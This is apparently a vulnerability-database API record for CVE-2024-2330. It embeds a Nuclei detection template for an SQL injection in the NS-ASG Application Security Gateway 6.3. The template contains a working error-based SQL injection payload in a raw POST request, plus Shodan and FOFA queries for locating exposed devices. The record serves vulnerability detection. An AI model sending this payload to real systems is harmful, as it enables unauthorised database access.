{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-2330/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-2330/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-2330/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-2330/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-2330/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-2330"},"sightings":{"href":"/api/v1/sightings/cve-2024-2330"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-2330.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2024-2330\n\ninfo:\n  name: NS-ASG Application Security Gateway 6.3 - Sql Injection\n  author: s4e-io\n  severity: medium\n  description: |\n    A vulnerability was found in Netentsec NS-ASG Application Security Gateway 6.3. It has been classified as critical. This affects an unknown part of the file /protocol/index.php. The manipulation of the argument IPAddr leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n  impact: |\n    Authenticated attackers can extract sensitive database information via SQL injection in the NS-ASG Application Security Gateway.\n  remediation: |\n    Update NS-ASG Application Security Gateway to a version newer than 6.3.\n  reference:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-2330\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-2330\n    - https://github.com/jikedaodao/cve/blob/main/NS-ASG-sql-addmacbind.md\n    - https://vuldb.com/?ctiid.256281\n    - https://vuldb.com/?id.256281\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 6.3\n    cve-id: CVE-2024-2330\n    cwe-id: CWE-89\n    epss-score: 0.17622\n    epss-percentile: 0.97042\n  metadata:\n    max-request: 2\n    shodan-query: http.title:“NS-ASG”\n    fofa-query: app=\"网康科技-NS-ASG安全网关\"\n  tags: cve,cve2024,ns-asg,sqli,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /protocol/index.php  HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        jsoncontent={\"protocolType\":\"addmacbind\",\"messagecontent\":[\"{\\\"BandIPMacId\\\":\\\"1\\\",\\\"IPAddr\\\":\\\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\\\",\\\"MacAddr\\\":\\\"\\\",\\\"DestIP\\\":\\\"\\\",\\\"DestMask\\\":\\\"255.255.255.0\\\",\\\"Description\\\":\\\"Sample+Description\\\"}\"]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body,\"XPATH syntax error:\",\"alert\") && contains(header,\"text/html\")'\n          - \"status_code == 200\"\n        condition: and\n\n    extractors:\n      - type: regex\n        name: version\n        group: 1\n        regex:\n          - \"XPATH syntax error: '([~0-9.]+)'\"\n# digest: 4b0a00483046022100b145695cea3f6977d13ff42cba78b780415a39a0179a79c80b60cf9e28b8feb8022100ec77c922bfdf0ca7dd7f44b8047da89462bd97fc7ac47da823781b3998a7ec89:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-2330"}